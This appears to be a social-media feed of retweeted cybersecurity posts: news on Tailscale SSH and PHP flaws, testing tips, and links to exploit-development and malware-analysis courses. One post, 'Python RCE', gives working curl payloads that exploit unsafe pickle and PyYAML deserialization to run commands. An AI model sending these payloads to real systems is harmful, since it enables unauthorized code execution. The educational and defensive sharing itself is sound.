Mark Styron @[email protected] retweeted
‼️ Tailscale SSH Flaws Could Let Hackers Gain Root Access Across Servers
Details: cybersecuritynews.com/tailsc…
A new security report warns that Tailscale SSH has flaws that could let a hacker move from one compromised device to root access on other servers. Tailscale SSH lets approved devices log in to each other over a private network. The report lists 11 findings in five groups.
They cover Tailscale’s SSH server, its serve and app connector features, the DERP relay client, and headscale, an open-source server that manages Tailscale networks.
The researcher tested Tailscale 1.104.2 and headscale 0.29.5 between October 22 and October 24, 2026. The most serious group involves Tailscale SSH. Its SSH server runs inside tailscaled, a background program with full root privileges on the machine.
#cybersecuritynews
Readers added context they thought people might want to know
The flaws require an already-approved device in the Tailscale network with SSH rules permitting access/forwarding; they enable post-compromise lateral movement and escalation inside the tailnet, not unauthenticated remote access from outside.
tailworm.com
brandefense.io/security-news/…
tailscale.com/security-bulle…
x.com/mmaunder/statu…
Mark Styron @[email protected] retweeted
Heads up on the PHP vulnerabilities that leaked yesterday. PHP is shipping emergency patches at 10 AM ET today for two critical flaws (CVE-2026-109618 and CVE-2026-109619, rated 9.2, reported as remote code execution). SANS is running a free live briefing at 12 PM ET with Moses Frost and Rich Greene covering what is confirmed, how to find every system running PHP, what to patch first, and what to do if you are on a version that will not get a fix. No registration. Watch live on LinkedIn here: linkedin.com/events/75184959….
Mark Styron @[email protected] retweeted
An allowed tool call can return evidence that should stop an agent run. Inspect's tool-result reviewers run after execution, before the result reaches the model. Useful test: does an unexpected success stop the run when access was supposed to fail?
inspect.aisi.org.uk/review.h…
Mark Styron @[email protected] retweeted
When comparing security agents, what happened to the runs that timed out? A quality score calculated only from completed runs leaves that out. Keeping completion rate beside answer quality makes the trade-off visible.
elastic.co/security-labs/blo…
Mark Styron @[email protected] retweeted
An OAuth edge case: the authorization request has no code_challenge, but the token request includes a code_verifier. RFC 9700 requires rejection. That mismatch is a useful negative test alongside the normal PKCE flow.
datatracker.ietf.org/doc/rfc…
Mark Styron @[email protected] retweeted
A logout test has an interesting second half: what happens to a WebSocket that was already open? The page can return to the login screen while an existing connection keeps delivering protected data. Session termination needs to reach that connection too.
cheatsheetseries.owasp.org/c…
Mark Styron @[email protected] retweeted
Web scraping often results in broken scripts, hitting rate limits, bot detection, and CAPTCHAs.
In this beginner course, @ania_kubow shows you a simpler API-based approach to collecting web data.
You'll extract structured JSON from various sites, then build an app that searches and downloads content locally.
freecodecamp.org/news/web-sc…
Mark Styron @[email protected] retweeted
If you want to protect yourself against cybersecurity threats, it's helpful to know how attackers might hack you.
And in this course, you'll learn how to identify, exploit, and defend against real-world vulnerabilities.
You'll use Kali Linux and learn about penetration testing, network security, tools like Nmap and Wireshark, and lots more.
freecodecamp.org/news/learn-…
Mark Styron @[email protected] retweeted
A real Calendly link. A fake Bloomberg interview. A phising chain designed to target people in AI and osint.
The first domain was genuine. The downstream workflow was not.
I break down how the campaign worked—and the checks that matter before you trust an “interview” invite. 🎥
Read the blog here:
dutchosintguy.com/post/phish…
#OSINT #phising
Mark Styron @[email protected] retweeted
Always put a comma (,) in your passwords. This way if it ever ends up in a leak, it will end up breaking the CSV.
Follow for more cybersecurity advice.
Readers added context they thought people might want to know
Adding commas to passwords does not break CSV leaks from breaches. Services store passwords as salted hashes not plaintext, and standard CSV parsers quote fields with commas (RFC 4180).
rfc-editor.org/rfc/rfc4180
github.com/OWASP/CheatShe…
news.ycombinator.com/item?id=417354…
Mark Styron @[email protected] retweeted
Python RCE
Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'
PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'
Mark Styron @[email protected] retweeted
The Spearphish General Store is officially OPEN at Wild West Hackin' Fest! Come get phished (responsibly) 😉
Mark Styron @[email protected] retweeted
Free resource for anyone learning heap exploitation.
Credit to @shellphish for maintaining how2heap, a practical collection of glibc heap exploitation techniques with small working PoCs across different libc versions.
Fastbin, tcache, unlink, overlapping chunks, House techniques and more.
github.com/shellphish/how2he…
#ExploitDevelopment #VulnerabilityResearch #ReverseEngineering
Mark Styron @[email protected] retweeted
Know every way to break a JWT.
38 pages, 47 techniques.
brutelogic.net/ebooks/broken…
With original research and tested payloads.
Mark Styron @[email protected] retweeted
someone asked Beej how sockets work in C. he got tired of explaining it
so in 1995 he put it all online: TCP, UDP, IPv4, IPv6, select(), poll(), and more
free, practical, and still widely used
Mark Styron @[email protected] retweeted
Replying to @ForbesTVNews
Rogue is BS. Nothing went rogue. People decided to leave security out of the equation. I wrote about this back in July. And due to all the FUD, I am writing a 3-part series on just a few things we can do NOW to control AI and prepare for ASI.
3l337consulting.com/blog/f/a…
3l337consulting.com/blog/f/c…
3l337consulting.com/ai/super…
Part 3 should be out imminently.
Mark Styron @[email protected] retweeted
If you're into malware analysis, reverse engineering or threat intelligence, bookmark this.
@embee_research has built an incredible FREE archive of practical security research covering:
• Ghidra + x64dbg
• Malware unpacking + shellcode
• Cobalt Strike analysis
• API hashing + string decryption
• PE-bear + Dumpulator
• .NET malware + dnSpy
• CyberChef + Python deobfuscation
• YARA + Sigma
• Qakbot, IcedID, AgentTesla, DarkGate + more
• Passive DNS + infrastructure hunting
• Censys / FOFA pivots
• APT infrastructure tracking
• URL hunting
• Module stomping + API hash evasion
A lot of this is hands-on research using real malware samples, not just theory.
Also includes deep dives into campaigns like SideWinder and Gamaredon infrastructure hunting.
Main site:
embeeresearch.io/
Full archive:
embeeresearch.io/index/
Huge credit to fellow Australian @embee_research / Matthew for making this research publicly available.
#MalwareAnalysis #ReverseEngineering #ThreatIntel
Mark Styron @[email protected] retweeted
**NEW** BHIS | Blog
Want to learn how C2 beaconing really looks on the wire? Spin up three hosts, run Sliver, capture the traffic, and hunt it with Zeek and RITA. It's your personal playground for learning adversary behavior?
Threat Hunting Home Lab: Your Personal Playground for Learning Adversary Behavior By: Faan Rossouw
Published: 9/30/2026
Learn more: blackhillsinfosec.com/threat…
Mark Styron @[email protected] retweeted
If you're learning exploit development, bookmark this.
A FREE collection of hands-on exploit development tutorials covering:
Linux + Windows buffer overflows
ROP + defeating DEP
ASLR + Windows mitigations
Heap overflows
Format string vulnerabilities
Race conditions
SEH exploitation
x64 assembly
ARM shellcode
iPhone exploitation
Created by @sambowne with @djhardb, @KaitlynGuru and @infosecirvin.
Start here: samsclass.info/127/ED_2020.s…
Excellent free resource for anyone getting into exploit development, binary exploitation and reverse engineering.
#ExploitDevelopment #ReverseEngineering #Infosec
Mark Styron @[email protected] retweeted
a professor at Illinois got frustrated with existing systems programming textbooks
so he started a Wikibook with students helping write it
it covers C, processes, threads, memory, networking, filesystems, scheduling, and security
all in one free book

























